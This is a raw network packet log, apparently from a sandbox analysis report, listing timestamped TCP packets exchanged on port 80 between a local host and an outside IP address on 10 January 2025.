Jan 10, 2025 18:06:28.601675034 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601675034 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601680040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601692915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601699114 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601718903 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601742983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601753950 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601766109 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601783037 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601814032 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.601953983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601973057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.601988077 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602003098 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602014065 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602016926 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602027893 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602041006 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602046967 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602067947 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602185011 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602207899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602222919 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602231026 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602246046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602258921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602263927 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602297068 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602394104 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602406025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602418900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602447987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602459908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602461100 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602473021 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602492094 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602520943 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602608919 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602627993 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602641106 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602654934 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602668047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602679968 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602682114 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602691889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602703094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.602714062 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602735996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.602746964 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603009939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603022099 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603029966 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603065014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603077888 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603141069 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603156090 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603167057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603173018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603190899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603202105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603214025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603214979 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603245974 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603265047 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603288889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603301048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603321075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603334904 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603336096 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603347063 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603391886 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603420973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603432894 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603445053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603457928 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603470087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603472948 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603481054 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603493929 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603523970 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603548050 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603559017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603570938 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603583097 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603590012 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603595018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.603622913 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.603650093 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.606367111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.606379986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.606446028 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625418901 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625447035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625459909 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625478983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625492096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625503063 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625514984 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625533104 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625550985 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625564098 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625576973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625595093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625607014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625619888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625662088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.625694036 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625705957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.625756025 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.645883083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658133984 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658162117 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658174992 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658189058 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658200979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658241034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658251047 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658252954 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658266068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658279896 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658292055 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658304930 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658312082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658335924 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658370018 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658381939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658391953 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658406019 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658453941 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658529043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658540964 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658552885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658565998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658577919 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658590078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658598900 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658601046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658612967 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658631086 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658634901 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658649921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658662081 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658663034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658674955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.658682108 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.658706903 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690057039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690087080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690109015 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690123081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690135002 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690145016 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690165997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690187931 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690210104 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690222025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690239906 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690258980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690258980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690258980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690258980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690290928 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690296888 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690309048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690320969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690332890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690345049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690346003 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690370083 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690396070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690407038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690417051 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690429926 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690433979 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690448046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690459013 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690463066 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690473080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690484047 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690495014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690507889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690516949 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690517902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690531969 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690545082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690573931 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690578938 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690591097 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690608978 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690622091 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690624952 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690659046 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690720081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690731049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690763950 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690886974 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690898895 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690926075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690933943 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690938950 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690958977 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690972090 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.690973043 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.690985918 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691008091 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691051006 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691061974 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691075087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691087008 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691088915 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691098928 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691112041 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691117048 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691134930 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691205025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691217899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691236973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691241980 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691248894 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691261053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691271067 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691271067 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691286087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691298962 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691301107 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691324949 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691327095 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691340923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691364050 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691366911 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691373110 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691380024 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691385031 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691390991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691396952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691411972 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691432953 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691456079 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691461086 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691468000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691478014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691492081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691512108 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691525936 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691565990 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691576958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691587925 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691601038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691612005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.691625118 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.691659927 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.692056894 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.692095995 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714045048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714078903 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714093924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714118004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714132071 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714143991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714169025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714181900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714195013 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714206934 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714220047 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714241982 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714253902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714267015 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714281082 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714294910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.714304924 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714304924 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714304924 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714340925 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714340925 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714340925 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.714340925 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746336937 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746361017 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746376038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746388912 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746411085 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746423960 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746437073 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746448994 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746464014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746486902 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746500015 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746511936 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746525049 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746552944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746552944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746552944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746552944 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746570110 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746581078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746598005 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746599913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746611118 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746612072 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746633053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746634007 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746645927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746659040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746669054 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746671915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746694088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746699095 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746707916 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746718884 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746727943 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746730089 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746735096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746741056 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746798992 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.746867895 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746881962 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.746906996 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.778945923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.778971910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.778986931 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.778999090 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779011965 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779026985 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779040098 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779042959 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779052019 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779067039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779098034 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779104948 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779113054 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779118061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779130936 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779143095 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779155970 CET	80	49738	193.143.1.205	192.168.2.10
